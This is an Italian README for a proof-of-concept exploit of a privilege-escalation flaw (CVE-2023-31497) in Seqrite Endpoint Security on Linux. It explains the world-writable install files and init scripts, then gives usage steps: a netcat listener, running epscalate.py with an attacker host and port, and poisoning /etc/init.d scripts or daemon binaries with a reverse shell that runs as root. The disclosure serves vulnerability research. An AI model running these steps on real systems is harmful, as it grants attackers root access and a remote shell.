EPScalate

Una vulnerabilità di escalation dei privilegi nella soluzione Seqrite Enterprise Endpoint Security (EPS) di QuickHeal. Alla vulnerabilità è stato assegnato l'ID CVE CVE-2023-31497.

https://user-images.githubusercontent.com/39941993/230790056-87157751-b96c-49a6-81df-bf3126acfbd6.mp4

Dettagli del Venditore e del Prodotto

• Venditore: Quick Heal Technologies Limited
• Prodotto: Seqrite Endpoint Security (EPS)
• Homepage del Prodotto: https://www.seqrite.com/endpoint-security/seqrite-endpoint-security
• Versioni Interessate: Interessa tutte le versioni precedenti alla v8.0.

Dettagli della Vulnerabilità

Seqrite endpoint security, con la sua installazione predefinita, si installa in /usr/lib/Seqrite/ con permessi di directory e file molto deboli, concedendo a un utente locale la piena autorizzazione di lettura/scrittura sui contenuti della directory. Inoltre, la procedura di installazione posiziona i suoi script di avvio in /etc/init.d/, che sono scrivibili da tutti. Ciò consente a qualsiasi utente con privilegi bassi sul sistema di escalare i privilegi a root.

L'exploit sfrutta due diverse vulnerabilità introdotte dal software per elevare i privilegi sul sistema. Primo, il fatto che l'applicazione utilizza script in /etc/init.d/ per avviare i suoi processi di scansione, che possono essere scritti da qualsiasi utente. Secondo, l'applicazione utilizza oggetti condivisi per caricare dinamicamente codice indipendente dalla posizione (PIC) durante l'esecuzione. Di fatto, tutti i file eseguibili degli oggetti condivisi sono scrivibili da chiunque. Infine, i binari dell'applicazione utilizzati per il processo demone sono scrivibili da chiunque, il che significa che qualsiasi utente non privilegiato potrebbe sovrascrivere i binari dello scanner con un binario di reverse shell per eseguire codice arbitrario come root.

Utilizzo dell'Exploit

L'exploit è un semplice file Python che facilita lo sfruttamento della vulnerabilità.

Passaggi:

1. Sulla macchina dell'attaccante, avviare un listener usando netcat (nc -lvp <porta>) o metasploit (multi/handler).
2. Copiare/scaricare i file epscalate.py e shellcode.c sul sistema di destinazione.
3. Eseguire il file Python con gli argomenti appropriati (python3 epscalate.py -H 192.168.0.103:9999 -I).
4. Attendere il ricaricamento dell'AV / il riavvio del sistema.
5. La connessione inversa al listener può confermare l'esecuzione del codice come root.

Aiuto dell'exploit:

$ python epscalate.py -h

    EPSCALATE - PoC per privesc in Seqrite EPS
                ~ 0xInfection

usage: epscalate.py -H <host>:<port> <technique_flag>

options:
  -h, --help            mostra questo messaggio di aiuto ed esce
  -H HOSTPORT, --hostport HOSTPORT
                        L'IP e la porta della macchina attaccante in ascolto nel formato <ip>:<porta>
  -B, --daemon-binaries
                        Sovrascrive i binari principali del demone per escalare i privilegi.
  -I, --initd-scripts   Avvelena gli script di avvio bash in /etc/init.d/ con una reverse shell per escalare i privilegi.

Supporto

L'exploit è stato testato su tutte le varianti dei sistemi operativi basati su Debian e Ubuntu.

Licenza e Crediti

Il codice dell'exploit è stato pubblicato sotto la licenza Apache 2.0. La vulnerabilità è stata divulgata al venditore ed è stata corretta al momento della pubblicazione della vulnerabilità.

Crediti per la vulnerabilità e l'exploit: Pinaki Mondal (0xInfection).